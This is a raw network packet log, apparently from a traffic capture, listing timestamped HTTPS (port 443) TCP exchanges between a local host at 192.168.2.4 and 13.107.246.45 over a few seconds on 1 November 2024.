Nov 1, 2024 03:46:31.814661980 CET	443	49946	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.814711094 CET	443	49946	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.814861059 CET	49946	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.814915895 CET	49946	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.814915895 CET	49946	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.814927101 CET	443	49946	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.814934015 CET	443	49946	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.817313910 CET	49951	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.817346096 CET	443	49951	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.817434072 CET	49951	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.817562103 CET	49951	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.817581892 CET	443	49951	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.858969927 CET	443	49947	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.859002113 CET	443	49947	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.859054089 CET	443	49947	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.859071970 CET	49947	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.859252930 CET	49947	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.859280109 CET	49947	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.859289885 CET	443	49947	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.859297991 CET	49947	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.859308004 CET	443	49947	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.861519098 CET	49952	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.861547947 CET	443	49952	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.861614943 CET	49952	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.861733913 CET	49952	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.861742020 CET	443	49952	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.895821095 CET	443	49948	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.896632910 CET	49948	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.896646023 CET	443	49948	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:31.897754908 CET	49948	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:31.897759914 CET	443	49948	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.027082920 CET	443	49948	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.027149916 CET	443	49948	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.028223991 CET	49948	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.029007912 CET	49948	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.029007912 CET	49948	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.029030085 CET	443	49948	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.029035091 CET	443	49948	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.031650066 CET	49953	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.031708002 CET	443	49953	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.032319069 CET	49953	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.032479048 CET	49953	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.032505989 CET	443	49953	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.124195099 CET	443	49949	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.124811888 CET	49949	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.124823093 CET	443	49949	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.125260115 CET	49949	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.125264883 CET	443	49949	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.259371042 CET	443	49949	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.259402990 CET	443	49949	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.259450912 CET	443	49949	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.259469032 CET	49949	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.259571075 CET	49949	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.259815931 CET	49949	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.259816885 CET	49949	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.259828091 CET	443	49949	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.259840965 CET	443	49949	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.263035059 CET	49954	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.263082981 CET	443	49954	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.263161898 CET	49954	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.263329983 CET	49954	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.263341904 CET	443	49954	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.530466080 CET	443	49950	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.532592058 CET	49950	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.532603979 CET	443	49950	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.533101082 CET	49950	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.533106089 CET	443	49950	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.551999092 CET	443	49951	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.552484989 CET	49951	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.552495956 CET	443	49951	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.552938938 CET	49951	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.552943945 CET	443	49951	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.590037107 CET	443	49952	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.592308998 CET	49952	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.592324018 CET	443	49952	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.592740059 CET	49952	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.592745066 CET	443	49952	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.661101103 CET	443	49950	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.661263943 CET	443	49950	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.664165020 CET	49950	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.664165020 CET	49950	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.664186001 CET	49950	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.664199114 CET	443	49950	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.666946888 CET	49955	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.667015076 CET	443	49955	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.667198896 CET	49955	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.667329073 CET	49955	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.667350054 CET	443	49955	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.685523987 CET	443	49951	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.685554981 CET	443	49951	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.685607910 CET	443	49951	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.685616970 CET	49951	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.685853958 CET	49951	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.685853958 CET	49951	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.685869932 CET	443	49951	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.685883999 CET	49951	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.685892105 CET	443	49951	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.688776970 CET	49956	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.688802958 CET	443	49956	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.692209005 CET	49956	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.692375898 CET	49956	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.692390919 CET	443	49956	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.719836950 CET	443	49952	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.720108986 CET	443	49952	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.720236063 CET	49952	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.720236063 CET	49952	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.720266104 CET	49952	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.720279932 CET	443	49952	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.723295927 CET	49957	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.723347902 CET	443	49957	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.723428965 CET	49957	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.723602057 CET	49957	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.723618031 CET	443	49957	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.751522064 CET	443	49953	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.752460003 CET	49953	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.752482891 CET	443	49953	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.753115892 CET	49953	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.753128052 CET	443	49953	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.880305052 CET	443	49953	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.880327940 CET	443	49953	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.880357027 CET	443	49953	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.880553007 CET	49953	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.880745888 CET	49953	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.880775928 CET	443	49953	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.880801916 CET	49953	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.880820036 CET	443	49953	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.883877993 CET	49958	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.883892059 CET	443	49958	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.883982897 CET	49958	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.884155035 CET	49958	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.884165049 CET	443	49958	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.992336035 CET	443	49954	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.992983103 CET	49954	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.993006945 CET	443	49954	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:32.993346930 CET	49954	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:32.993351936 CET	443	49954	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.126904011 CET	443	49954	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.126967907 CET	443	49954	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.127140045 CET	49954	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.127310991 CET	49954	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.127324104 CET	443	49954	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.127343893 CET	49954	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.127347946 CET	443	49954	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.130317926 CET	49959	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.130358934 CET	443	49959	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.130444050 CET	49959	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.130589008 CET	49959	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.130604029 CET	443	49959	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.401237011 CET	443	49955	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.402695894 CET	49955	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.402723074 CET	443	49955	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.408011913 CET	49955	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.408025026 CET	443	49955	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.419673920 CET	443	49956	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.420250893 CET	49956	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.420275927 CET	443	49956	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.420933962 CET	49956	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.420939922 CET	443	49956	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.454807043 CET	443	49957	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.455441952 CET	49957	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.455468893 CET	443	49957	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.456032991 CET	49957	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.456038952 CET	443	49957	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.535279036 CET	443	49955	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.535356045 CET	443	49955	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.535412073 CET	443	49955	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.535423994 CET	49955	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.535463095 CET	49955	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.535633087 CET	49955	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.535664082 CET	443	49955	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.535689116 CET	49955	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.535702944 CET	443	49955	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.538971901 CET	49960	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.539005995 CET	443	49960	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.539084911 CET	49960	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.539272070 CET	49960	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.539287090 CET	443	49960	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.554490089 CET	443	49956	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.554625988 CET	443	49956	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.554677010 CET	49956	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.554738045 CET	49956	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.554749012 CET	443	49956	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.554759979 CET	49956	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.554764032 CET	443	49956	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.557609081 CET	49961	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.557667971 CET	443	49961	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.557718039 CET	49961	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.557918072 CET	49961	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.557931900 CET	443	49961	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.588179111 CET	443	49957	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.588243961 CET	443	49957	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.588305950 CET	49957	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.588545084 CET	49957	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.588562965 CET	443	49957	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.588568926 CET	49957	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.588576078 CET	443	49957	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.591618061 CET	49962	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.591639042 CET	443	49962	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.591711044 CET	49962	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.591850996 CET	49962	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.591861963 CET	443	49962	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.626842022 CET	443	49958	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.627671003 CET	49958	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.627679110 CET	443	49958	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.628061056 CET	49958	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.628065109 CET	443	49958	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.756613970 CET	443	49958	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.756649017 CET	443	49958	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.756690025 CET	443	49958	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.756829023 CET	49958	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.757134914 CET	49958	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.757152081 CET	443	49958	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.757162094 CET	49958	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.757167101 CET	443	49958	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.760632038 CET	49963	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.760664940 CET	443	49963	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.760752916 CET	49963	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.760934114 CET	49963	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.760950089 CET	443	49963	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.874068975 CET	443	49959	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.874783039 CET	49959	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.874803066 CET	443	49959	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:33.875281096 CET	49959	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:33.875286102 CET	443	49959	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.011921883 CET	443	49959	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.011991024 CET	443	49959	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.012176991 CET	49959	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.012270927 CET	49959	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.012286901 CET	443	49959	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.012305021 CET	49959	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.012310982 CET	443	49959	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.015636921 CET	49964	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.015666008 CET	443	49964	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.015942097 CET	49964	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.015942097 CET	49964	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.015968084 CET	443	49964	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.281565905 CET	443	49960	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.282150030 CET	49960	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.282171011 CET	443	49960	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.282656908 CET	49960	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.282665014 CET	443	49960	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.295114040 CET	443	49961	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.295485020 CET	49961	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.295501947 CET	443	49961	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.295931101 CET	49961	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.295937061 CET	443	49961	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.324580908 CET	443	49962	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.324923038 CET	49962	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.324939966 CET	443	49962	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.325345039 CET	49962	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.325350046 CET	443	49962	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.411092043 CET	443	49960	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.411211014 CET	443	49960	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.411274910 CET	49960	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.411442041 CET	49960	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.411461115 CET	443	49960	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.411473989 CET	49960	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.411482096 CET	443	49960	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.415501118 CET	49965	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.415544987 CET	443	49965	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.415774107 CET	49965	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.416073084 CET	49965	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.416091919 CET	443	49965	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.425767899 CET	443	49961	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.425805092 CET	443	49961	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.425851107 CET	443	49961	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.425869942 CET	49961	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.425913095 CET	49961	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.426104069 CET	49961	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.426119089 CET	443	49961	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.426130056 CET	49961	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.426135063 CET	443	49961	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.429866076 CET	49966	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.429889917 CET	443	49966	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.430074930 CET	49966	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.430377960 CET	49966	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.430391073 CET	443	49966	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.455657959 CET	443	49962	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.455733061 CET	443	49962	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.455795050 CET	49962	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.455938101 CET	49962	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.455946922 CET	443	49962	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.455961943 CET	49962	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.455966949 CET	443	49962	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.458955050 CET	49967	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.458983898 CET	443	49967	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.459148884 CET	49967	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.459600925 CET	49967	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.459614038 CET	443	49967	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.481787920 CET	443	49963	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.482206106 CET	49963	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.482214928 CET	443	49963	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.482906103 CET	49963	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.482909918 CET	443	49963	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.609816074 CET	443	49963	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.609844923 CET	443	49963	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.609878063 CET	443	49963	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.609899044 CET	49963	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.609941006 CET	49963	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.610187054 CET	49963	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.610196114 CET	443	49963	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.610205889 CET	49963	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.610210896 CET	443	49963	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.613137960 CET	49968	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.613164902 CET	443	49968	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.613246918 CET	49968	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.613389015 CET	49968	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.613398075 CET	443	49968	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.756246090 CET	443	49964	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.756941080 CET	49964	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.756949902 CET	443	49964	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.757508993 CET	49964	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.757514000 CET	443	49964	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.884512901 CET	443	49964	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.884582996 CET	443	49964	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.884772062 CET	49964	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.884984016 CET	49964	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.884984016 CET	49964	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.884996891 CET	443	49964	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.885005951 CET	443	49964	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.887975931 CET	49969	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.888008118 CET	443	49969	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:34.888099909 CET	49969	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.888268948 CET	49969	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:34.888290882 CET	443	49969	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.155760050 CET	443	49965	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.156336069 CET	49965	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.156348944 CET	443	49965	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.156858921 CET	49965	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.156864882 CET	443	49965	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.169935942 CET	443	49966	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.170614958 CET	49966	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.170624971 CET	443	49966	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.171113968 CET	49966	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.171118975 CET	443	49966	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.186547995 CET	443	49967	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.187269926 CET	49967	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.187280893 CET	443	49967	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:35.187551975 CET	49967	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:35.187556982 CET	443	49967	13.107.246.45	192.168.2.4
